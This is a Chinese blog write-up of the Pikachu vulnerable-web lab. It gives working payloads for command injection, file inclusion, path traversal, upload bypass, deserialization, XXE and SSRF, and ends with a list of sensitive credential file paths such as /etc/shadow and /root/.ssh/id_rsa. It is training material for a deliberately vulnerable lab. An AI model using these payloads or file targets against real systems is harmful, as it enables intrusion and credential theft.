谜团靶机writeup - Pikachu靶场通关指南-下

最新推荐文章于 2024-08-23 13:52:35 发布

zycdn

最新推荐文章于 2024-08-23 13:52:35 发布

阅读量2.8k

点赞数

分类专栏：靶机练习文章标签：安全 php web安全

本文链接：https://blog.csdn.net/zycdn/article/details/122679564

版权

靶机练习专栏收录该内容

7 篇文章 4 订阅

订阅专栏

RCE(远程命令/代码执行)

ping

localhost | cat /etc/passwd、localhost | whoami

eval

phpinfo();或者file_put_contents("mituan.txt","<?php phpinfo();");提交之后，访问http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/rce/mituan.txt即可看到文件，然后可以利用文件包含。

Files Inclusion(文件包含漏洞)

本地文件包含

访问http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/fileinclude/fi_local.php?filename=../../rce/mituan.txt&submit=Submit+Query。

远程文件包含

访问http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/fileinclude/fi_remote.php?filename=http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/rce/mituan.txt&submit=Submit+Query。

不安全的文件下载

访问http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafedownload/execdownload.php?filename=../../../../../../../etc/passwd。

不安全的文件上传

客户端校验

抓包修改文件名、文件内容。之后访问http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafeupload/uploads/client.php。
客户端校验

MIME头

方式同上。
MIME

类型验证

生成图片copy 10.jpg/b+c.php pic.jpg上传，访问·ttp://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafeupload/uploads/2022/01/25/20870161ef5bec2fd5a455603730.jpg，然后再文件包含http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/fileinclude/fi_remote.php?filename=http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/unsafeupload/uploads/2022/01/25/20870161ef5bec2fd5a455603730.jpg&submit=Submit+Query。

Over Permisson(越权漏洞)

水平越权

使用lucy/123456登录，点击查看个人信息抓包，修改用户名即可查看其他用户资料。
水平越权

垂直越权

使用admin/123456登录，发现可以查看、增加、删除用户，其中查看与删除都是op2_admin.php页面的功能，增加用户是op2_admin_edit.php页面的功能。

使用pikachu/000000登录，然后将浏览器地址直接换成op2_admin.php，发现提示登录。但是将地址换成http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/overpermission/op2/op2_admin_edit.php，确可以进入且能够添加用户。
垂直越权

目录遍历

发现地址栏有参数title=jarheads.php，尝试../进行目录遍历，比如以下文件可以利用http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/dir/dir_list.php?title=../../../index.php、http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/dir/dir_list.php?title=../../../vul/dir/soup/truman.php、http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/dir/dir_list.php?title=../../../test/phpinfo.txt。

敏感信息泄露

打开http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/infoleak/findabc.php，查看源代码发现。
敏感信息泄露

PHP反序列化漏洞

<?php
	class S{
		var $test = "<img src=# οnlοad=alert(1) οnerrοr=alert(2)>";
		function __destruct(){
			//echo $this->test;
		}
	}

	$s=new S(); //创建一个对象
	echo serialize($s); //把这个对象进行序列化
    
    echo "------------------------------------------";
    $u=unserialize('O:1:"S":1:{s:4:"test";s:44:"<img src=# οnlοad=alert(1) οnerrοr=alert(2)>";}');
    echo $u->test;
    echo "------------------------------------------";
    $u=unserialize('O:1:"S":2:{s:4:"test";s:7:"pikachu";s:4:"test";s:44:"<img src=# οnlοad=alert(1) οnerrοr=alert(2)>";}');
    echo $u->test;
?>

输入O:1:"S":1:{s:4:"test";s:44:"<img src=# onload=alert(1) onerror=alert(2)>";}，弹窗。

XXE(XML External Entity attack)

输入以下内容，提交即可。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
	<!ELEMENT foo ANY>
	<!ENTITY entity SYSTEM "file:///etc/passwd">
]>
<scan>&entity;</scan>

xxe

不安全的URL重定向

点击http://b0f42ca5b3b14f74a05bed2441d4d847.app.mituan.zone/vul/urlredirect/urlredirect.php?url=http://www.baidu.com，跳转到百度页面。

SSRF(Server-Side Request Forgery)

curl

文件读取：http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php
文件读取：http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
内网探测：http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_curl.php?url=localhost:3306

file_get_content

PHP伪协议：http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=http://127.0.0.1/index.php
文件读取：http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_fgc.php?file=file:///etc/passwd
查询IP：http://77ff74a1b3084ae4a6ed25c652f977a2.app.mituan.zone/vul/ssrf/ssrf_fgc.php?file=https://tool.lu/ip

系统敏感文件路径

// Windowsadmin
c:\boot.ini 					// 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml	// IIS配置文件
c:\windows\repair\sam				// 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini	                // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD       // MySQL root密码
c:\windows\php.ini 	                	// php 配置信息
c:\Windows\win.ini 	                	// Windows系统的一个基本系统配置文件

// Linux
/etc/passwd 			     	                // 账户信息
/etc/shadow 				                // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf 	                // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf	// 虚拟网站配置
/usr/local/app/php5/lib/php.ini 	     	        // PHP相关配置
/etc/httpd/conf/httpd.conf 				// Apache配置文件
/etc/my.conf 						// mysql 配置文件
/proc/mounts						// 记录系统挂载设备
/porc/config.gz					        // 内核配置文件
/var/lib/mlocate/mlocate.db			        // 全文件路径
/porc/self/cmdline					// 当前进程的cmdline参数
/root/.ssh/known_hosts					// 记录每个访问计算机用户的公钥
/root/.bash_history					// 用户历史命令记录文件
/root/.mysql_history				        // mysql历史命令记录文件
/root/.ssh/authorized_keys			        // 公钥相关
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore